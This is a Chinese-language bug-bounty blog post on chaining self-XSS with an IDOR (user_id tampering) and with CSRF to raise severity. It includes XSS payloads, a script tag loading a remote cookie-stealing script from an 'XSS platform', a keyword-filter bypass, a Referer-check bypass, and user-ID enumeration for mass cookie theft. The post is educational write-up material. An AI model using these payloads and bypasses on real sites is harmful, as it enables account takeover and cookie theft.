C1imber's Blog

漏洞挖掘中的脑洞大开---使用漏洞组合拳扩大漏洞危害

字数统计: 1.7k阅读时长: 6 min
2018/08/08 Share

漏洞挖掘中的脑洞大开—使用漏洞组合拳扩大漏洞危害

这篇文章给大家分享一下我在漏洞挖掘中对一些漏洞组合拳的利用方法,相信大家在漏洞挖掘中都遇到过这样一个问题,比如我发现了一个存储型xss,但是只是鸡肋的selfxss,只能自己看到才能触发、又或者是单单的csrf、或者没有实质危害的越权漏洞等,就算提交了也只能算低危,如果小伙伴们在漏洞挖掘中遇到了这些问题,那么这篇文章或许可以帮到各位一些,下面我通过我挖掘到的两个利用漏洞组合拳的方式,分享一下如何将低危漏洞变的有价值

组合拳一式:selfxss+水平越权漏洞

虽然只是一个selfxss,但是结合水平越权添加的话,可以向其他用户个人中心添加xss payload,从而使该目标网站的目标用户去触发该xss漏洞,将js恶意代码在其浏览器执行

举个栗子:
用户中心设置信息的地方没有对xss过滤导致存在存储型xss漏洞,尝试新增常用联系人,在详细地址的位置插入xss的payload
mark

1
<script>alert(document.cookie)</script>

mark
但是此处有可能只是一个selfxss,如果只是能打到自己的cookie,那么这个存储型xss就会显得很鸡肋。但是这个网站存在一个越权添加个人信息的漏洞,越权的漏洞之前也提交过一次,在添加的时候通过修改user_id可以越权将信息添加到其它用户里,在这里可以利用越权漏洞将xsspayload插入其他用户的个人中心里去扩大这个selfxss的危害,简单来说就是利用越权添加和selfxss的组合拳增加这个selfxss的危害,这样就可以打到其他用户的cookie

还是之前测试越权的两个账号

用户名:格鲁特   用户id:112054
用户名:火箭    用户id:112069

首先在格鲁特的个人中心中添加常用联系人,之前说了在详细地址处存在存储型xss,这里插入加载远程js的xsspayload,同时使用xss平台接收信息

xsspayload:

1
<script src=xss平台上的远程脚本></script>

之后抓包,数据包里有个参数为user_id,这个参数可控,导致可以越权
mark
修改数据包中的user_id,尝试将此条包含xsspayload的信息越权添加到其他用户的个人信息中,如果成功,那么其他用户在登陆后查看时就会触发xss代码加载远程脚本,将用户的cookie打到我们的xss平台上,这里将user_id改为火箭用户的id(112069)
mark
可以看到添加成功,但是在当前的账号上看不到刚刚添加的信息

然后使用火箭账号登陆,可以看到包含xsspayload的信息是否已经被越权添加到火箭用户的常用信息中,可以看到火箭用户在登陆后查看联系人信息时我们的xss平台就能接收到火箭用户的cookie
mark
mark
接下来将获取到的火箭用户的cookie替换为格鲁特用户的cookie,可以看到成功登陆到了火箭的账号
mark
而且user_id只有6位数,是可以遍历的,如果遍历了所有的uid,那么就可以打到所有用户的cookie,所以漏洞的危害还是非常大的,所以通过selfxss+水平越权两个低危漏洞组合就可以变成一个影响严重的高危漏洞

组合拳二式:selfxss+csrf

selfxss危害不够,只能自己弹自己?遇到这样的低危漏洞千万不要放过它,结合一下csrf,会有想不到的效果

举个栗子:
在个人中心签名处,经过测试发现存在存储型xss,虽然网站将alert替换为了空,但是只替换了一次,所以通过构造payload:

1
" onmouseover="alalertert(1)

mark
提交完签名后刷新页面后发现可以弹框
mark
但是貌似这个只能自己看到,因为不确定管理员能否看到自己的签名,所以如果只是一个self的存储型xss的话,危害可能并不会那么大

别急,咱们继续往下看,既然是提交签名的话,一定会发送一次http请求的,所以猜测这一点可能存在csrf,经过测试确实是存在的,但是该网站对csrf是有防御的,因为发送请求时带上了referer头,并且服务端对referer头做了检查,经过一番fuzz后发现referer头里面只要有该网站的域名就可以绕过服务端对csrf的限制

于是想到了一个思路,那就是在自己服务器上创建一个名为”该网站域名.html”的页面,这样的话http请求中的referer里面就会有该网站域名,从而可以绕过对csrf的过滤,页面通过ajax发送一次提交签名的请求,参数为我们构造的xss代码,然后诱使已经登陆该网站的用户使用同一浏览器去访问我服务器上的页面,使该用户在不知情的情况下去更改自己的签名,将签名更改为xss的代码,我们就可以通过js去控制他的浏览器了
为了看到效果,我们先把签名给改回来

mark

之后模拟受害者使用同一浏览器去访问我服务器的页面
mark
可以看到用户在不知情的情况下发送了一次提交签名的请求,完成了这次的跨站请求伪造,然后再看一下个人中心,可以看到xss代码已经成功写入到受害者的个人签名
mark

可以看到通过selfxss+csrf漏洞的组合拳可以产生巨大的危害,比如我们可以通过csrf将盗取用户cookie的xss代码写入到受害者中心,或者控制浏览器跳转任意页面等,不过签名在服务端限制了只能为30个字符,但是如果加载比较短的域名应该还是可以的

总结

这是我在漏洞挖掘中遇到的两个比较有意义的组合利用,总之,在漏洞挖掘中,遇到低危漏洞时,不要急着提交,先看看有没有可以扩大其危害的漏洞,可以尝试组合一下,我相信类似的问题或者脑洞还有不少,以后自己遇到了还会去总结。各位师傅们有什么好的思路的话,欢迎补充~~

CATALOG
  1. 1. 漏洞挖掘中的脑洞大开—使用漏洞组合拳扩大漏洞危害
    1. 1.0.1. 组合拳一式:selfxss+水平越权漏洞
    2. 1.0.2. 组合拳二式:selfxss+csrf
    3. 1.0.3. 总结